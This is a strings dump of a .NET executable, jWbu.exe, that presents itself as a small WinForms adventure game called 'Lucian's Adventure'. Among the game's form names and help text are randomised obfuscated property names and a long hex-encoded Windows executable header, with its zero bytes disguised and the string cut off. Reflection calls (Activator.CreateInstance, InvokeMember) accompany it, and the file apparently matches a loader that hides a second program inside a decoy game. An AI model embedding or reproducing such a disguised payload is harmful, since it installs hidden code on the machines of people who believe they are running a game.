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v4.0.30319
#Strings
pictureBoxTree10
pictureBoxTree11
get_L1
IEnumerable`1
List`1
pictureBoxTree1
label1
pictureBoxEnemy1
pictureBoxTree12
ToUInt32
get_L2
pictureBoxTree2
pictureBoxFlame2
pictureBoxEnemy2
pictureBoxTree13
pictureBoxTree3
pictureBoxEnemy3
pictureBoxTree4
pictureBoxTree5
pictureBoxTree6
pictureBoxTree7
pictureBoxTree8
pictureBoxTree9
<Module>
SendMessageA
get_HNBFOIYGJHR_HJRTGUOHTUIT_FGBE
get_UGHYDSYIUGD_GYDUSGDU_YSGD_DGSYUDUSDG
WM_SETREDRAW
mscorlib
System.Collections.Generic
add_Load
FirstForm_Load
get_DarkRed
sentinelSpeed
trackerSpeed
badBulletSpeed
bulletSpeed
ghostSpeed
enemySpeed
goodGuySpeed
goodguySpeed
Interlocked
set_Enabled
_stopped
set_DoubleBuffered
IsPressed
Synchronized
Replace
defaultInstance
get_KeyCode
set_AutoScaleMode
set_SizeMode
PictureBoxSizeMode
get_Image
set_Image
SendMessage
AddRange
ghostStepsSinceLastDirectionChange
CompareExchange
MoveZombie
Invoke
IDisposable
get_Visible
set_Visible
get_Handle
RuntimeTypeHandle
GetTypeFromHandle
get_ClientRectangle
set_FormBorderStyle
ResetGame
buttonStartGame
set_Name
pictureBoxFlame
Combine
GetType
System.Core
get_Culture
set_Culture
resourceCulture
ButtonBase
ApplicationSettingsBase
Dispose
add_Update
game_Update
remove_Update
OnUpdate
Delegate
DebuggerBrowsableState
EditorBrowsableState
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
GeneratedCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
DebuggerBrowsableAttribute
EditorBrowsableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
ExtensionAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
pictureBoxCave
CanMove
HandleDragonMove
Remove
jWbu.exe
set_Size
set_ClientSize
ISupportInitialize
WriteLineIf
IsInsideOf
System.Threading
IsTouching
enemyStepsRemaining
System.Runtime.Versioning
ToString
GetString
disposing
System.Drawing
SuspendDrawing
ResumeDrawing
ShowDialog
Stopwatch
Refresh
get_Width
set_Width
IntersectsWith
pictureBoxBack
add_Tick
_gameTimer_Tick
add_Click
buttonStartGame_Click
set_Interval
_desiredInterval
System.ComponentModel
MoveSentinel
user32.dll
pictureBoxBull
otherControl
ContainerControl
thisControl
lParam
wParam
Program
get_Item
set_Item
System
Random
get_Bottom
SecondForm
ThirdForm
IsInsideOfForm
MainForm
FirstForm
NextForm
resourceMan
set_ShowIcon
pictureBoxVDragon
pictureBoxDragon
Application
get_Location
set_Location
System.Configuration
System.Globalization
System.Reflection
ControlCollection
ghostDirection
enemyDirection
set_StartPosition
FormStartPosition
Button
CheckBadGun
TrackGun
CheckGun
ShootGun
pictureBoxGun
hasgun
add_KeyDown
_form_KeyDown
CultureInfo
MultiFormGameDemo
add_KeyUp
_form_KeyUp
Bitmap
get_Top
set_Top
set_TabStop
set_ShowInTaskbar
InvokeMember
sender
Binder
get_ResourceManager
ComponentResourceManager
MoveTracker
pictureBoxTracker
KeyEventHandler
System.CodeDom.Compiler
_gameTimer
IContainer
GameHelper
ControlHelper
MovePlayer
pictureBoxPlayer
set_BackColor
set_UseVisualStyleBackColor
GetEnumerator
.cctor
System.Diagnostics
get_ElapsedMilliseconds
get_Bounds
System.Runtime.InteropServices
System.Runtime.CompilerServices
System.Resources
MultiFormGameDemo.SecondForm.resources
MultiFormGameDemo.ThirdForm.resources
MultiFormGameDemo.MainForm.resources
MultiFormGameDemo.FirstForm.resources
MultiFormBattleGame.Properties.Resources.resources
DebuggingModes
MultiFormBattleGame.Properties
EnableVisualStyles
GetTypes
BindingFlags
Settings
KeyEventArgs
BadGuyAttacks
get_Controls
System.Windows.Forms
Contains
set_AutoScaleDimensions
MessageBoxButtons
BacktoCaverns
CheckDoors
TrackBadBullets
TrackBullets
HeavenLights
components
add_LostFocus
_form_LostFocus
_pressedKeys
deadBadGuys
allBadGuys
Concat
otherRect
thisRect
GetObject
target
pictureBoxBullet
get_Left
set_Left
get_Right
get_Height
set_Height
EndInit
BeginInit
pictureBoxSpirit
get_Default
SetCompatibleTextRenderingDefault
DialogResult
InitializeComponent
get_Parent
get_Transparent
get_Current
get_Count
badguyStart
Restart
Convert
pictureBoxTeleport
sentinelPBList
sentinelDirList
badBulletList
bulletList
MoveGhost
pictureBoxGhost
SuspendLayout
set_BackgroundImageLayout
ResumeLayout
PerformLayout
MoveNext
set_Text
get_WfHv
redraw
set_TabIndex
MessageBox
PictureBox
set_MinimizeBox
set_MaximizeBox
set_ControlBox
maxBadBulletDelay
badBulletDelay
bulletDelay
get_Assembly
op_Equality
op_Inequality
pictureBoxGoodGuy
Goodguy
WrapNonExceptionThrows
MultiFormGameDemo
Copyright
2014
$df344d04-44de-437e-bd9a-501d5881161f
1.0.0.0
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
16.10.0.0
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADPA
The objective of this game is to survive and fight your way through the battlegrounds of the Underworld.
If you die, you'll be return to the beginning and start over.
The hero's name is Lucian and you have to find his weapon in order to fight the evildoers of the underworld.
There are three levels. The first is finding your weapon and finding the path to the underground dungeon.
When you defeat the Dark Army of the Underworld, you will have save the world from destruction.
GOOD LUCK!
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_CorExeMain
mscoree.dll
WARNING: Frame Rate Less Than Expected (
MultiFormBattleGame.Properties.Resources
HNBFOIYGJHR HJRTGUOHTUIT FGBE
UGHYDSYIUGD GYDUSGDU YSGD DGSYUDUSDG
GameOver
SecondForm
Will you continue or quit?
What will you do next?
FirstForm
YOU WIN! YOU HAVE DEFEATED THE DARK ARMY!
pictureBoxPlayer
BacktoCaverns
HeavenLights
pictureBoxDragon
pictureBoxVDragon
pictureBoxBull
pictureBoxSpirit
pictureBoxFlame
pictureBoxGun
pictureBoxBullet
pictureBoxFlame2
ThirdForm
You shall NOT PASS! Begone Scrub!
pictureBoxGoodGuy
pictureBoxBack
pictureBoxTeleport
pictureBoxEnemy3
pictureBoxEnemy1
pictureBoxEnemy2
pictureBoxTracker
Goodguy
pictureBoxTree1
pictureBoxTree4
pictureBoxTree3
pictureBoxTree2
pictureBoxCave
pictureBoxGhost
pictureBoxTree5
pictureBoxTree6
pictureBoxTree7
pictureBoxTree8
pictureBoxTree9
pictureBoxTree10
pictureBoxTree11
pictureBoxTree12
pictureBoxTree13
buttonStartGame
START GAME
4D-5A-90-}03-}}}04-}}}FF-FF-}}B8-}}}}}}}40-}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}80-}}}0E-1F-BA-0E-}B4-09-CD-21-B8-01-4C-CD-21-54-68-69-73-20-70-72-6F-67-72-61-6D-20-63-61-6E-6E-6F-74-20-62-65-20-72-75-6E-20-69-6E-20-44-4F-53-20-6D-6F-64-65-2E-0D-0D-0A-24-}}}}}}}50-45-}}4C-01-03-}90-03-FF-63-}}}}}}}}E0-}02-21-0B-01-08-}}36-01-}}04-}}}}}}FE-54-01-}}20-}}}}}}}}40-}}20-}}}02-}}04-}}}}}}}04-}}}}}}}}A0-01-}}02-}}}}}}03-}40-85-}}10-}}10-}}}}10-}}10-}}}}}}10-}}}}}}}}}}}B0-54-01-}4B-}}}}60-01-}}02-}}}}}}}}}}}}}}}}}}}80-01-}0C-}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}20-}}08-}}}}}}}}}}}08-20-}}48-}}}}}}}}}}}2E-74-65-78-74-}}}04-35-01-}}20-}}}36-01-}}02-}}}}}}}}}}}}}}20-}}60-2E-72-73-72-63-}}}}02-}}}60-01-}}02-}}}38-01-}}}}}}}}}}}}}40-}}40-2E-72-65-6C-6F-63-}}0C-}}}}80-01-}}02-}}}3A-01-}}}}}}}}}}}}}40-}}42-}}}}}}}}}}}}}}}}E0-54-01-}}}}}48-}}}02-}05-}88-2B-01-}28-29-}}03-}}}}}}}DC-96-}}B8-}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}03-30-03-}41-}}}}}}}20-F0-01-}}8D-01-}}01-25-D0-31-}}04-28-01-}}0A-80-32-}}04-20-E
System.Activator
CreateInstance
label1
label1.Text
MainForm
Lucian's Adventure
57664876
717766
MultiFormBattleGame
label1.Text
HNBFOIYGJHR HJRTGUOHTUIT FGBE
UGHYDSYIUGD GYDUSGDU YSGD DGSYUDUSDG
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
MultiFormGameDemo
FileVersion
1.0.0.0
InternalName
jWbu.exe
LegalCopyright
Copyright
2014
LegalTrademarks
OriginalFilename
jWbu.exe
ProductName
MultiFormGameDemo
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0